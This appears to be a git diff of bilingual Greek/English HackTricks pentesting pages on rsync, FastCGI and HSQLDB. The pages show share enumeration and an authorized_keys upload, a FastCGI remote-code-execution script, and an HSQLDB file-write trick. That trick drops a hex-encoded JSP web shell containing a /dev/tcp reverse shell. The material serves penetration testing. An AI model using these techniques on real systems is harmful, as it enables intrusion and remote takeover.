* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
## **Basic Information**
Από την [wikipedia](https://en.wikipedia.org/wiki/Rsync):
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> Το **rsync** είναι ένα εργαλείο για την αποτελεσματική [μεταφορά](https://en.wikipedia.org/wiki/File\_transfer) και [συγχρονισμό](https://en.wikipedia.org/wiki/File\_synchronization) [αρχείων](https://en.wikipedia.org/wiki/Computer\_file) μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και ανάμεσα σε [δικτυωμένους](https://en.wikipedia.org/wiki/Computer\_network) [υπολογιστές](https://en.wikipedia.org/wiki/Computer) συγκρίνοντας τους χρόνους τροποποίησης και το μέγεθος των αρχείων.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Συνήθως βρίσκεται σε [λειτουργικά συστήματα](https://en.wikipedia.org/wiki/Operating\_system) τύπου [Unix-like](https://en.wikipedia.org/wiki/Unix-like). Ο αλγόριθμος rsync είναι ένας τύπος [κωδικοποίησης delta](https://en.wikipedia.org/wiki/Delta\_encoding) και χρησιμοποιείται για την ελαχιστοποίηση της χρήσης του δικτύου. [Zlib](https://en.wikipedia.org/wiki/Zlib) μπορεί να χρησιμοποιηθεί για επιπλέον [συμπίεση δεδομένων](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) και οι πρωτόκολλοι [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ή [stunnel](https://en.wikipedia.org/wiki/Stunnel) μπορούν να χρησιμοποιηθούν για την ασφάλεια.
> **rsync** είναι ένα εργαλείο για την αποδοτική [μεταφορά](https://en.wikipedia.org/wiki/File\_transfer) και [συγχρονισμό](https://en.wikipedia.org/wiki/File\_synchronization) [αρχείων](https://en.wikipedia.org/wiki/Computer\_file) μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και σε [δικτυωμένους](https://en.wikipedia.org/wiki/Computer\_network) [υπολογιστές](https://en.wikipedia.org/wiki/Computer) συγκρίνοντας τους [χρόνους τροποποίησης](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) και τα μεγέθη των αρχείων.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Βρίσκεται συνήθως σε [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [λειτουργικά συστήματα](https://en.wikipedia.org/wiki/Operating\_system). Ο αλγόριθμος rsync είναι ένας τύπος [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding) και χρησιμοποιείται για τη μείωση της χρήσης δικτύου. [Zlib](https://en.wikipedia.org/wiki/Zlib) μπορεί να χρησιμοποιηθεί για επιπλέον [συμπίεση δεδομένων](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) και [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ή [stunnel](https://en.wikipedia.org/wiki/Stunnel) μπορεί να χρησιμοποιηθεί για ασφάλεια.
**Προεπιλεγμένη θύρα:** 873
**Default port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Απαρίθμηση
## Enumeration
### Μπάνερ & Επικοινωνία με το χέρι
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -49,9 +50,9 @@ nc -vn 127.0.0.1 873
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Απαρίθμηση Κοινόχρηστων Φακέλων**
### **Καταμέτρηση Κοινών Φακέλων**
Τα **Rsync modules** αναγνωρίζονται ως **κοινόχρηστοι φάκελοι** που μπορεί να είναι **προστατευμένοι με κωδικούς πρόσβασης**. Για να εντοπίσουμε τα διαθέσιμα modules και να ελέγξουμε αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι παρακάτω εντολές:
**Τα modules Rsync** αναγνωρίζονται ως **κοινές καταλόγοι** που μπορεί να είναι **προστατευμένοι με κωδικούς πρόσβασης**. Για να εντοπιστούν τα διαθέσιμα modules και να ελεγχθεί αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι εξής εντολές:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Να είστε προσεκτικοί, καθώς ορισμένα κοινόχρηστα ενδέχεται να μην εμφανίζονται στη λίστα, κρύβοντάς τα πιθανώς. Επιπλέον, η πρόσβαση σε ορισμένα κοινόχρηστα ενδέχεται να περιορίζεται σε συγκεκριμένα **διαπιστευτήρια**, όπως υποδεικνύεται από ένα μήνυμα **"Άρνηση πρόσβασης"**.
Να είστε προσεκτικοί ότι ορισμένα κοινά μπορεί να μην εμφανίζονται στη λίστα, πιθανώς κρύβοντάς τα. Επιπλέον, η πρόσβαση σε ορισμένα κοινά μπορεί να περιορίζεται σε συγκεκριμένα **credentials**, όπως υποδεικνύεται από ένα μήνυμα **"Access Denied"**.
### [**Βίαιη Δύναμη**](../generic-methodologies-and-resources/brute-force.md#rsync)
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Χειροκίνητη Χρήση του Rsync
### Χειροκίνητη Χρήση Rsync
Μετά την απόκτηση μιας λίστας **ενοτήτων**, οι ενέργειες εξαρτώνται από το αν απαιτείται πιστοποίηση. Χωρίς πιστοποίηση, η **εμφάνιση** και η **αντιγραφή** αρχείων από ένα κοινόχρηστο φάκελο σε ένα τοπικό κατάλογο επιτυγχάνεται μέσω:
Αφού αποκτηθεί μια **λίστα modules**, οι ενέργειες εξαρτώνται από το αν απαιτείται αυθεντικοποίηση. Χωρίς αυθεντικοποίηση, η **καταγραφή** και η **αντιγραφή** αρχείων από έναν κοινό φάκελο σε έναν τοπικό κατάλογο επιτυγχάνεται μέσω:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -73,38 +74,40 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Αυτή η διαδικασία **μεταφέρει αναδρομικά αρχεία**, διατηρώντας τα χαρακτηριστικά και τις άδειες τους.
Αυτή η διαδικασία **μεταφέρει αρχεία αναδρομικά**, διατηρώντας τα χαρακτηριστικά και τις άδειές τους.
Με **διαπιστευτήρια**, η λίστα και η λήψη από ένα κοινόχρηστο φάκελο μπορούν να γίνουν ως εξής, όπου θα εμφανιστεί ένα παράθυρο εισαγωγής κωδικού πρόσβασης:
Με **διαπιστευτήρια**, η καταχώρηση και η λήψη από έναν κοινόχρηστο φάκελο μπορεί να γίνει ως εξής, όπου θα εμφανιστεί μια προτροπή για κωδικό πρόσβασης:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Για να **ανεβάσετε περιεχόμενο**, όπως ένα αρχείο _**authorized_keys**_ για πρόσβαση, χρησιμοποιήστε:
Για να **ανεβάσετε περιεχόμενο**, όπως ένα _**authorized_keys**_ αρχείο για πρόσβαση, χρησιμοποιήστε:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Για να εντοπίσετε το αρχείο ρύθμισης του rsyncd, εκτελέστε:
Για να εντοπίσετε το αρχείο ρύθμισης παραμέτρων rsyncd, εκτελέστε:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Μέσα σε αυτό το αρχείο, ένα παράμετρος _secrets file_ μπορεί να δείχνει σε ένα αρχείο που περιέχει **ονόματα χρηστών και κωδικούς πρόσβασης** για την επαλήθευση του rsyncd.
Within this file, a _secrets file_ parameter might point to a file containing **ονόματα χρηστών και κωδικούς πρόσβασης** for rsyncd authentication.
## Αναφορές
## References
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
Αν θέλετε να **μάθετε τι είναι το FastCGI** ελέγξτε την ακόλουθη σελίδα:
Αν θέλετε να **μάθετε τι είναι το FastCGI** ελέγξτε την παρακάτω σελίδα:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
Από προεπιλογή το **FastCGI** τρέχει στη **θύρα** **9000** και δεν αναγνωρίζεται από το nmap. **Συνήθως** το FastCGI ακούει μόνο στο **localhost**.
Από προεπιλογή, το **FastCGI** εκτελείται στη **θύρα** **9000** και δεν αναγνωρίζεται από το nmap. **Συνήθως** το FastCGI ακούει μόνο στο **localhost**.
# RCE
Είναι αρκετά εύκολο να κάνετε το FastCGI να εκτελέσει αυθαίρετο κώδικα:
Είναι αρκετά εύκολο να κάνετε το FastCGI να εκτελεί αυθαίρετο κώδικα:
```bash
#!/bin/bash
@ -45,18 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
```html
ή μπορείτε επίσης να χρησιμοποιήσετε το παρακάτω σενάριο python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
```
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Το **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα βάσης δεδομένων SQL που έχει γραφεί σε Java. Προσφέρει έναν μικρό, γρήγορο, πολυνηματικό και συναλλαγματικό μηχανισμό βάσης δεδομένων με πίνακες στη μνήμη και στον δίσκο και υποστηρίζει ενσωματωμένη και λειτουργία διακομιστή.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα σχεσιακής βάσης δεδομένων SQL γραμμένο σε Java. Προσφέρει μια μικρή, γρήγορη, πολυνηματική και συναλλαγματική μηχανή βάσης δεδομένων με πίνακες μνήμης και δίσκου και υποστηρίζει ενσωματωμένες και διακομιστικές λειτουργίες.
**Προεπιλεγμένη θύρα:** 9001
**Default port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
@ -25,11 +26,11 @@
### Προεπιλεγμένες Ρυθμίσεις
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανόν να εκτελείται στη μνήμη ή να είναι συνδεδεμένη με τον τοπικό υπολογιστή. Αν την βρήκατε, πιθανόν να έχετε εκμεταλλευτεί μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματά σας.
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη στο localhost. Αν το βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να κλιμακώσετε τα δικαιώματα.
Οι προεπιλεγμένες διαπιστευτήρια είναι συνήθως `sa` με κενό κωδικό πρόσβασης.
Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανά διαπιστευτήρια χρησιμοποιώντας την εντολή
Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανές διαπιστευτήρια χρησιμοποιώντας
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
@ -37,51 +38,39 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
# Συλλογή Πληροφοριών
Συνδεθείτε στην περίπτωση βάσης δεδομένων κατεβάζοντας το HSQLDB από [εδώ](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας την εντολή `java -jar hsqldb.jar` και συνδεθείτε στην περίπτωση χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.
Συνδεθείτε στην DB instance κατεβάζοντας το [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας `java -jar hsqldb.jar` και συνδεθείτε στην instance χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.
Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
Σημειώστε ότι το URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Κόλπα
# Τέχνες
## Ρουτίνες Της Γλώσσας Java
## Ρουτίνες Γλώσσας Java
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας τις Ρουτίνες Της Γλώσσας Java. Πρέπει να σημειωθεί ότι η κληθείσα κλάση πρέπει να βρίσκεται στο classpath της εφαρμογής.
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρουτίνες Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής.
Οι JRTs μπορούν να είναι `συναρτήσεις` ή `διαδικασίες`. Οι συναρτήσεις μπορούν να κληθούν μέσω εντολών SQL εάν η μέθοδος Java επιστρέφει μία ή περισσότερες μεταβλητές πρωτογενούς τύπου συμβατές με SQL. Καλούνται χρησιμοποιώντας την εντολή `VALUES`.
Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Καλούνται χρησιμοποιώντας τη δήλωση `VALUES`.
Εάν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με την εντολή `CALL`.
Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με τη δήλωση `CALL`.
## Ανάγνωση Ιδιοτήτων Συστήματος Java
Δημιουργήστε τη συνάρτηση:
Δημιουργήστε συνάρτηση:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
```python
def execute_function():
# Code to execute the function goes here
pass
```
Εκτέλεση συνάρτησης:
```python
def execute_function():
# Ο κώδικας για την εκτέλεση της συνάρτησης βρίσκεται εδώ
pass
```
```text
VALUES(getsystemproperty('user.name'))
```
Μπορείτε να βρείτε μια [λίστα με τις ιδιότητες του συστήματος εδώ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Εγγραφή Περιεχομένου σε Αρχείο
## Γράψτε Περιεχόμενο σε Αρχείο
Μπορείτε να χρησιμοποιήσετε το Java gadget `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` που βρίσκεται στο JDK (φορτώνεται αυτόματα στον δρομολογητή της εφαρμογής) για να εγγράψετε στον δίσκο hex-encoded αντικείμενα μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στη διαδρομή κλάσης της εφαρμογής\) για να γράψετε στοιχεία κωδικοποιημένα σε hex στο δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
Δημιουργία διαδικασίας:
Δημιουργήστε διαδικασία:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
@ -91,16 +80,17 @@ LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
